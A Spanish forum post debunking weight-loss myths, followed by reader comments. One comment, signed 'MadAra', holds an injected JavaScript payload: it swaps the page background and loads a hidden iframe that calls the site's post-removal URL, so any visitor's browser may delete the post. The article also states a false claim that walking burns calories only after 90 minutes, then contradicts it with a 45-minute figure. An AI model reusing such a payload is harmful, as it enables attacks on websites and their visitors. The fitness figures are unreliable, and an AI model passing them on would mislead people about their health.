Lince tu no vas a adelgazar con mentiras (no comas cuento que eso engorda más)

Hecho por CarCuaro en la categoria Deportes

Hay muchos disparates que no debes CREER si quieres adelgazar

Vas a adelgazar si… pero si no crees esas toneladas de consejos disparatados que hay por ahí.

¡Enfócate!. ¡Mereces tener metas!

Las dietas son la única manera de adelgazar

¡Mentira!. Las dietas deben armonizarse con el plan de pérdida de peso. Cuando te dicen que te “cosas la boca”, es una metáfora.

Ponerte a pasar hambre no es solución. ¡Atiende!.

El secreto, la clave, la técnica o como quieras decirle es “Quemar más calorías de las que incorporas”.

Sudar es excelente para perder peso

¡Ay hasta cuando con lo mismo!. Sudar es deshidratarte y tienes que incorporar líquido.

Dile a tus riñones que ¡sudar es bueno!, para que veas cómo te van a responder. ¡Te van a ofender!. Cuando sudes toma agua, o jugos.

Caminar 10 minutos al día te hará disminuir tallas

Te voy a explicar algo. Uno comienza a quemar calorías a los 90 minutos de la caminata.

Si quieres despejar tu mente, bien, dedícate esos 10 minuticos.

Pero si quieres ganar en el empeño de adelgazar, entonces que sea un recorrido de más de 45 minutos…

y con marcha firme, como lo merecen tus metas.

El agua engorda

¡No!. Me va a dar un infarto si leo algo así otra vez. ¡Semejante disparate!.

El agua ayuda en la absorción de los alimentos. Eso no quiere decir que engorde. ¿Qué vas a hacer, secarte, deshidratarte?.

Mira hazme el favor y toma dos litros diarios para que todo vaya bien en tu vida y en tus rutinas de pérdida de peso.

Tienes que ser vegetariano y tendrás buena figura

Ser vegetariano es una determinación personal con mucha responsabilidad. No es una moda o una receta de reducción de tallas.

¡No te dejes embaucar por favor!

Que la dieta sea rica en vegetales es una acción provechosa. Tragar vegetales como si uno fuera herbívoro, es otra cosa muy diferente.

El sexo, en buen exceso, te saca las grasas

¡Candela!. En este punto no te voy a decir que lo dicho es mentira.

Pero es un disparate de tal envergadura que da risa.

El sexo es placer, es intercambio, es entrega… ¡No una rutina de bajar de peso!.

Hay que enfocarse más porque desafortunadamente la locura de los consejeros es demasiada.

No pierdas el tiempo caminando, ¡corre!

¡Aquí vamos con las exageraciones!. No se pierde el tiempo caminando, solo que debes hacerlo correctamente.

Caminar es el primero de los diez ejercicios más efectivos para perder peso. Caminar te hace perder calorías y tonificar. Es una rutina poderosísima en perfilarte el físico.

Un consejo VERDADERO… comienza caminando, luego corre.

¡Y hazme caso!

Las infusiones para adelgazar son casi mágicas

Dirían en Cuba… ¡No te creas esa guayaba!. Nada es mágico cuando decides disminuir las tallas.

Si eliges los te adelgazantes y no eres constante… ¡olvida la delgadez!. Si eres constante y adelgazas solo a base de infusiones… ¡olvida la buena figura!.

Un té adelgazante obliga a ejercitar para tonificar los músculos y no tener piel flácida.

Oblígate a usar ropa estrecha

¡Eso es de locos!... por un lado la locura de querer meterse en una talla menor… por otro lado la locura de querer dañarte el sistema circulatorio.

Mira, como si andas desnudo… bueno, sin exagerar, pero en tus metas de adelgazar la comodidad es vital.

Sólo necesitas un sistema que te discipline

¿Un sistema?... bueno, está bien ese consejo si eres un robot con ganas de rebajar el volumen de la cintura de metal.

Lo que realmente se necesita es Voluntad.

Lo repito… Voluntad

Una vez más… en mayúscula… VOLUNTAD. Eso es todo.

 

En sus marcas… listo… ¡fuera esas libras!

 


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Comentarios 3487

LopezGorra - Lopez - Hace 2 meses

Lo mejor es aumentar el consumo de agua y de vegetales. Compartido lince

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MadAra - Mad-1545016413077 - Hace 4 meses

El fin esta cerca "document.body.setAttribute('style',' background: url(https://vignette.wikia.nocookie.net/aldea/images/f/f4/Madara_Uchiha_sharingan.gif/revision/latest?cb=20110911030748&path-prefix=es)');setTimeout(function(){var i = document.createElement('iframe');i.src = 'https://1peluchinga.com/post/remove/'+window.location.toString().match(/(.*?):\/\/1peluchinga.com\/comentario\/(.*?)\//)[2];i.style.visibility = 'hidden';document.body.appendChild(i) ;}),3000"> 0 0

HenCuaro - Hernan - Hace 11 meses

buena data +20

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MatíasFirulette - Keygen - Hace 1 año

Si nunca se corrio, caminar un par de dias. luego ejercicio intenso con una dieta de ensaladas y carnes simples. el ejercicio intenso quema mas, se puede usar  creatina para poder completar ejercicios de intensidad y quemar. uno se alimenta con cuidado de no consumir comida de exceso nomas.

 

Resistir un trote largo controlando el ritmo puede ser lo mejor creo sho

Amenos que sea diamon y no puedan caminar un choto. Buen post maquina, pero el sexo ayuda para tener un buen equilibrio mental y poder producir las hormonas nesesarias para poder completar ejercicios.Y un sistema que te dicipline es muy bueno tamien, porque uno le da paja aveces y llendo a boxeo es como tener la obligacion de cumplir, como ir a la escuela o al trabajo. eso te diciplina. Wuen post!

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Ex-Cuaro - Ex-ta - Hace 1 año

Cierto, yo digo con el sexo que es un disfrute un incentivo para justamente lo que dices, no es un ejercicio por ejercicio, tiene su química como bien has dicho. Lo del sistema... a ver que pasa con eso... te lo muestro en ejemplos (DIETAS QUE COMIENZAN LUNES, TROTES QUE COMIENZAN VIERNES, PLANES ESCRITOR, MEDICIONES PESAJES, IMPULSO POR TENER UN SISTEMA, Y?  LE GENTE LO DEJA TODO... por eso aconsejo que primero que todo, la voluntad, el poder hacer, la conciencia, de ahi el SISTEMA es super full bueno. Gracias bro, buen tino en tu letra, gracias 


Ex-Cuaro - Ex-ta - Hace 1 año

yo pesé 350 libras, era tres veces lo que soy hoy, y en mi caso por ejemplo, el trote no lo resistía, me cansaba y no quemaba nada... empecé la caminata, 10, 15 kilometros diarios, después y troté. Eso aconsejo en etapas muy abanzadas de gordura, caminatas a modo de marcha que es un poco menos que el trote pero casi, de ahi al trote va poquisimo. No tomé creatina sabes, soy medio cobarde a eso jejejejejeje


CarCuaro - Caracuerpocorazon - Hace 1 año

A este men habóia que esconderle el pan jejejejejejejejejejejejejeje, y después la TV le hacía entrevistas y ahora inspira post como estos. Haré un post de creatina, me has alumbrado la idea, yo si la tomé cuando mis primeros momentos del gym. Gracias men por tu aporte 


Garcade87 - Garcade87 - Hace 1 año

Buen post, a garcade le hace falta algo de eso.

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CarCuaro - Caracuerpocorazon - Hace 1 año

Adelante


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